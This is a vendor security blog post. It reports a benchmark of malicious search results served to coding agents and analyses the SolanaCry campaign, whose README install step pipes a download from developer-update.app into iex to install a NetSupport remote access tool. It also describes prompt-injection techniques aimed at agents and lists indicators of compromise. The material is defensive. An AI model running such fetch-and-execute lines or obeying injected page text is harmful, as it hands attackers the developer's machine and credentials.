← Back to all posts
Published on · by Renaud Deraison

The search result was the installer

AIR's WebSec Benchmark sent 4,719 ordinary coding-agent queries to eight search APIs and checked more than 282,000 results. Every API served known-malicious content, at rates between one search in 45 and one in 125, and the rates were highest for install and package searches. One top result was SolanaCry, a 286-star starter kit whose only install step pulls a remote access tool. In Bromure Agentic Coding, the agent can read whatever the search returns. The download host, the C2, the brand-new package and the injected instruction each hit a control on the Mac.

Nobody asked for a malicious package. The agent searched for a Solana starter kit, the search API returned one, and its README had a single install step.

On November 23, AIR Research Lab (Niv Hoffman, Shay Lempert and Shahar Levy) published the WebSec Benchmark and a summary of it on The Hacker News. It measures one question: when a coding agent searches the web in the middle of a task, how often does the search hand it something hostile?

The team started from 8,684 recorded sessions of open-source coding agents fixing real GitHub issues and kept the 850 with the most search activity. A model wrote the searches a developer would plausibly run in each session: error messages, build fixes, library choices, package installs. Two judge models cut 42,296 candidates down, and 1,499 package install and selection searches were added, for 4,719 queries. None of them named a malicious package or domain. Anything bad in the results got there because the search engine ranked it.

Those 4,719 queries went to eight search APIs: Firecrawl, Tavily, Perplexity, Parallel, Exa, Nimble, Brave and You.com. That's about 37,700 searches and more than 282,000 results. Each result was fetched twice, once as an agent and once as a browser, to catch pages that show agents something different. Seventeen checks ran on every result, from the domain's history to the packages and commands it recommended, and the research team reviewed every finding.

What came back

  • 534 searches returned content already known to be malicious.
  • 1,026 times, an agent was handed a malicious or risky result.
  • All eight APIs served known-malicious content at least once.
  • Per-API rates ran from 0.8% to 2.2%: one bad search in every 45 to 125.
  • The rates were highest for install and package searches, the moment just before an agent runs code.

AIR's WebSec Index, where higher is safer, put Firecrawl at 21.59 and Tavily at 18.59, with You.com lowest at 5.02. The article does the arithmetic for a company: at 1%, an organization whose agents run 5,000 searches a day hands them known-malicious content about 50 times a day.

AIR sorts what it found into six kinds:

  1. Prompt injection. Hidden text addressed to agents, HTML comments meant for agents, content served only to agents, and READMEs that tell the agent which command to run.
  2. Typosquatting. Lookalike domains, packages one letter off, impersonated repositories.
  3. Hallucination attacks. Install steps for packages that were never published and links to domains nobody registered. An attacker who registers the name owns the result.
  4. SEO and AEO manipulation. Pages built to rank for agent queries, inflated GitHub stars, brand-new domains that climb fast.
  5. Web search hijacking. Expired domains, dangling subdomains and stale pages that keep their rank after the owner leaves.
  6. Manipulative content. Pages recommending malicious packages, pipe-to-shell installs, direct executable downloads and unvetted MCP servers.

One top result: SolanaCry

AIR's October 29 write-up of SolanaCry (Eliad Mualem and Dor Granat) shows what one of those results looks like. The repository SolanaUpdateTools/solana-starter-kit was created in November 2025, has 286 stars, and calls itself an "Open-source Solana dApp template with Anchor program, TypeScript client, and Next.js UI." It is the top result when an agent searches for a Solana starter kit.

Its README has one installation step: a PowerShell one-liner that builds a URL out of concatenated variables, downloads it with iwr, and runs it in memory with iex. The URL resolved to developer-update.app/update/indicator. "Nothing touches disk at this delivery stage."

What came down was indicator.ps1, about 21 MB. It writes 14 files into a hidden folder under %LOCALAPPDATA%. Thirteen are genuine, signed NetSupport Manager 12.10 components. The fourteenth, client32.ini, points the client at maxwintodaybtc.com:443, hides its chat and disconnect controls, accepts any operator from any address, and sets a 60-second heartbeat. A SecureModule value under the HKCU Run key starts it at every login. The dropper then clears the Run history and deletes itself.

NetSupport gives the operator the screen, keyboard and mouse, file transfer, remote commands and the microphone. AIR links the sample to a NetSupport cluster eSentire tracks as EVALUSION, and the one-liner to an October 2025 campaign that used fake TradingView "AI signal" videos. The operator moved from traders to developers. AIR's own note: "the technique works the same way against any operating system."

AIR's earlier Web Hole study (October 23) showed a second route into the same results. Of about 6,500 sites returned for 2,000 developer queries, 36 sat on domains that had lapsed and could be bought by anyone, among them pyquestions.com and thestackoverflow.com. They still ranked for queries like ModuleNotFoundError: No module named 'werkzeug.posixemulation'. In AIR's words: "a site's rank in the search index can stay the same even after the site stops existing or its content changes."

From an ordinary query to a remote access tool1. The agent searches"solana starter kit""No module named werkzeug.posixemulation"8 search APIs tested:Firecrawl, Tavily, Perplexity,Parallel, Exa, Nimble,Brave, You.com4,719 queries, none naminga malicious package or domain282,000+ results checked2. What the results heldprompt injection, agent-only pagestyposquatted domains and packageshallucinated packages and domainsSEO-boosted repos, inflated starslapsed domains still rankingpipe-to-shell installs, .exe linksevery API served known malware0.8% to 2.2% of searchesworst on install and package queries1,026 unsafe results handed over3. The agent follows itSolanaUpdateTools/ solana-starter-kit286 stars, one install stepiwr developer-update.app/… | iex21 MB dropper, 14 filessigned NetSupport Manager 12.10Run key: SecureModuleC2 every 60 seconds:maxwintodaybtc.com:443screen, files, commands, mic
How a routine search becomes code execution, as AIR describes it. The agent asks a search API about an error or a package. Roughly one search in 45 to 125 returns something hostile. The agent reads it as documentation and follows its install step, which downloads and runs a payload that phones home.

Why a search result carries so much weight

A developer who searches sees ten links, a date, a domain they may recognize, and a page they can judge by its look. An agent sees a ranked list in a tool result and tends to take the top entry. A README that says "run this to install" reads to a model like documentation written for the task at hand. On a laptop, the agent's shell is the developer's shell, so "run this" means running it with the developer's files, keys and browser sessions within reach.

The search provider can't fix this on its own. A lapsed domain keeps its rank. A repository earns stars before anyone reports it. A page can show the crawler one thing and an agent another. AIR's advice comes down to treating every result as untrusted input, keeping download-and-execute off by default, checking a package's age and malware record before it installs, and logging what agents read as well as what they run. A Bromure machine has a setting for each.

The same searches in Bromure Agentic Coding

Bromure Agentic Coding runs Claude Code, Codex, Grok, Kimi and omp in Ubuntu VMs on your Mac, one VM per machine. Every connection the VM opens goes through a virtual switch and a proxy on the Mac. The firewall, the package checks, the credential swap and the prompt-injection scanner all run there, where the agent can't reach them.

The agent can search as much as it likes. Claude Code's web search runs at the model provider, and its results come back inside the model's response, so reading a result opens no connection from the VM. Everything that result asks the agent to do next is a new connection or a new install, and each of those crosses the Mac.

Take an agent asked to scaffold a Solana dApp. It searches, gets SolanaUpdateTools/solana-starter-kit as the top hit, reads the README, and does what it says.

The download host isn't on the list

The one-liner's first act is a fetch from developer-update.app. On a machine running OpenShell + Sentry, everything is denied unless a rule allows it, and the starter policy allows GitHub, npm and PyPI read-only plus Ubuntu's package mirrors. On the Bromure Firewall, set Unmatched traffic to Deny and list what the project needs. Either way, developer-update.app isn't listed, so the fetch is refused at the Mac. No threat feed has to know the domain first, and AIR only found it after the payload had stopped being served there.

The VM is Ubuntu, and SolanaCry's loader is PowerShell for Windows. The same README with a curl … | sh line, the variant AIR says "works the same way against any operating system," gets the same answer: the host that serves the script isn't on the list, and nothing runs.

With Tell the agent when policy blocks it, on by default for OpenShell machines, Claude Code gets a note right after the command that hit the block. It says the network policy refused developer-update.app:443, that this is deliberate, not to try another route, and to stop and tell you what it needs and why. The agent comes back to you with a starter kit whose installer wants an unknown host, and you decide.

The Timeline shows where the command came from

The refusal is a red row in the Security Timeline. On a machine with the kernel sentry, double-click it for its network lineage:

  • Why: your prompt, the agent's reasoning before the call, and its stated intent, something like "install the starter kit as the README describes."
  • Tool call: the exact command, an exact match to what the shell ran.
  • Processes: claude → bash → curl, with redacted arguments.
  • Decision: refused, with the layer and the rule.

That chain answers the question AIR says teams can't answer today: which search result led to which command. The trace answers the other half. The default AI request details level records the full request and response bodies of the agent's model traffic, and that traffic carries the search results and pages the agent read. What the agent saw, what it decided and what it ran sit in the same place, on your Mac.

A hallucinated or day-old package doesn't install

Two of AIR's six categories go through the package manager: typosquats, and hallucinated names an attacker registers after models keep suggesting them. Both kinds of package are new when they get used.

The age gate ships on for every Bromure machine with a two-day minimum. When npm, pip, cargo, gem or composer asks for a package's version list, the proxy strips every release younger than the cutoff. A name registered yesterday has no versions old enough, so the install fails and the agent reads why. A pinned request for a fresh version gets an HTTP 451 whose body states the package's age and the minimum. Raise the minimum for a project that never needs day-old releases.

Behind the gate sit the free OSV check and a reputation provider, socket.dev or Depi. socket.dev's Block compromised packages catches typosquats, malware and rogue install scripts. A malware verdict is always blocked and can't be overridden. A package no enabled source could vet is held while you decide. Strip install scripts removes preinstall, install, postinstall and prepare hooks from npm tarballs on the fly, so a lookalike package that slips through still doesn't run code at install time.

The injected instruction is caught on the way to the model

AIR found pages that address agents directly, comments written for models, and content served only to agents. Its benchmark fetched every page twice to catch the difference. Bromure skips the second fetch. The prompt-injection detector scans what the agent is about to send to the model, so it reads the exact copy the agent received, cloaked or not.

Turn on Detect prompt injection in source code and a local PromptGuard model scores each new tool result: file contents, web pages, issue bodies, command output. Set When an injection is detected to Block unilaterally and a flagged page never reaches the model. The agent gets a 451 that says possible prompt injection was detected in that source. In Ask me what to do, the request pauses before a byte leaves for the provider, and you see the flagged section. The scan runs on your Mac, and the page goes to no cloud service.

A lapsed domain like pyquestions.com that someone buys and fills with instructions for agents lands in the same detector. Whatever the new owner wants the agent to fetch next lands on the firewall.

If something runs anyway, it finds stand-ins

Say a machine had allowed broad egress for a quick experiment and the script ran. It goes looking for what NetSupport's operator would want from a developer: API keys, git tokens, cloud credentials.

Every one it finds in the VM is a stand-in. ANTHROPIC_API_KEY holds sk-ant-api03-brm-…, and GH_TOKEN holds a ghp_ token GitHub never issued. The same goes for ~/.git-credentials and the process environments. The real values stay on the Mac, and the proxy swaps each one in only on requests to the host it belongs to. Your Mac's browser sessions, keychain and SSH agent aren't in the VM at all.

If a stand-in then shows up in a request to any other host, such as a C2 domain or a paste site, the compromise detector blocks that request with a 451, pauses the VM, and raises This environment may have been compromised, naming the credential and where it was headed.

The C2 heartbeat meets the firewall too. maxwintodaybtc.com isn't on anyone's allow list. With the agent watchdog on, a session that reaches new destinations after settling down, or racks up a burst of blocks, is flagged. In Quarantine mode, the watchdog cuts the VM's network, pauses it, and asks you what to do.

Machine VMFollow the READMEcurl developer-update.appInstall the suggested packagehallucinated or lookalike nameSend the page to the modelhidden text for agentsIf a payload ranfinds sk-ant-…-brm-, ghp_… fakescalls maxwintodaybtc.comYour MacDefault denyhost not listed: refused, agent toldAge gate, on by defaultunder 2 days: hidden or 451PromptGuard, on-deviceflagged page blocked: 451Real keys stay herefake to wrong host: VM pausedC2 refused, watchdog quarantineSee it, undo itNetwork lineageprompt, reasoning, tool callclaude → bash → curl→ developer-update.app, refusedSession tracethe results and pages theagent read, on by default,encrypted on your MacRewind home… / Reset diskback to this morning's home,system disk from the baseimage
The same search on a Bromure machine. The agent reads whatever the search returns. The download host and the C2 aren't on the allow list, a package younger than two days doesn't resolve, a flagged page never reaches the model, and anything that runs finds stand-ins. The Timeline ties the blocked connection back to the result and the tool call.

Cleaning up is a rewind

Removing NetSupport from a Windows laptop means finding the hidden folder, the Run key and the running client, then rotating every credential the operator could have seen. On a Bromure machine, shut it down and open ⋯ › Rewind home…. Bromure takes a copy-on-write checkpoint of the home folder at the first successful boot of each day, so the home comes back as it was this morning. Reset disk re-clones the system disk from the base image. If the compromise detector fired, the machine is marked compromised and won't boot until you wipe it, so nobody restarts it by accident.

The rotation list is short. The real values for Bromure-managed credentials never entered the VM.

Fifty exposures a day, one query

AIR's arithmetic puts a company with 5,000 agent searches a day at about 50 exposures a day. That's a fleet question. On Macs enrolled with bromure.io, every blocked connection arrives as a net.flow event with its process chain and the tool call behind it. Every package fetch arrives as a supply_chain.fetch event with the package, version and outcome. Every prompt-injection hit arrives as a prompt_injection.detection event carrying the whole flagged snippet. A security team can search the fleet for developer-update.app, maxwintodaybtc.com or a lookalike package name the morning a report lands, and see which agents met it and what each one did next.

Read anything, fetch what's listed

Search results reach the agent through the model's response. The download host a README points to is a new connection, and default deny refuses it without an IoC.

New packages don't resolve

The age gate, on by default, hides releases younger than two days. Hallucinated names an attacker registered yesterday have nothing old enough to install.

Cloaked pages scanned as received

PromptGuard runs on the Mac against the exact page the agent got, and in Block mode the model never sees it.

From result to command

Network lineage ties a refused connection to the prompt, the reasoning and the tool call. The trace keeps what the agent read.

What to do this week

  • Search developer machines, CI logs and agent transcripts for SolanaUpdateTools/solana-starter-kit, developer-update.app and maxwintodaybtc.com. On Windows, look for a SecureModule value under HKCU\Software\Microsoft\Windows\CurrentVersion\Run, a hidden folder y2inwRnI6G under %LOCALAPPDATA%, and client32.exe running from it.
  • Find out which search API each of your agents uses, and read its row on AIR's leaderboard.
  • Turn off auto-approval for installs and for commands that pipe a download into sh, bash or iex.
  • Check that every package your agents add has existed for more than a few days, and look it up on OSV before it lands in a lockfile.
  • Start logging what agents read, not only what they run.

Then put your agents on machines where reading a search result is free and acting on one goes through your Mac. Default deny and network lineage are in Sandbox Policy, the age gate and package checks in Supply-Chain Protection, the on-device scanner in Prompt-Injection Detection, and stand-ins in Credentials & the Wire Boundary.

Related articles

The key was planted

On November 16, someone in Bucharest pointed OpenCode, a free coding agent, at a US financial firm. In 5 minutes 44 seconds it read the API documentation, followed a link only an agent would follow, found a key and tried it with curl. The key was a decoy Jesta had planted, so nothing was taken. In Bromure Agentic Coding, every key your own agent holds works the same way: a stand-in that authenticates only through your Mac, and that trips an alarm when it heads anywhere else.

Agentic CodingNews & Analysis

The guard shared the kernel

On November 20, NebuSec published how it took over Meta Muse from a single web page. A browser bug gave code execution in the agent's container, a request classifier let conversation history leave as plain GETs, and a Linux kernel exploit made the researchers root in the user's VM, where Muse's egress guard and credential store also ran. In Bromure Agentic Coding, the agent starts as root in its VM, and nothing that guards it runs there. The firewall, the proxy and the real credentials are on your Mac, across the hypervisor boundary NebuSec stopped at.

Agentic CodingNews & Analysis

The token was outside the vault

On November 25, 1Password disclosed that an attacker had used one employee's corporate GitHub account and a stolen token to copy private source code, reach its CI/CD system, and push code to backend services that downloaded customer account records. The vaults held. The credential that worked was a developer token, and developer tokens sit in plain files that every process on a laptop can read, coding agents included. In Bromure Agentic Coding, the GitHub token in the agent's machine is a stand-in, every push waits for you on the Mac, and the real token never leaves the Mac's encrypted store.

Agentic CodingNews & Analysis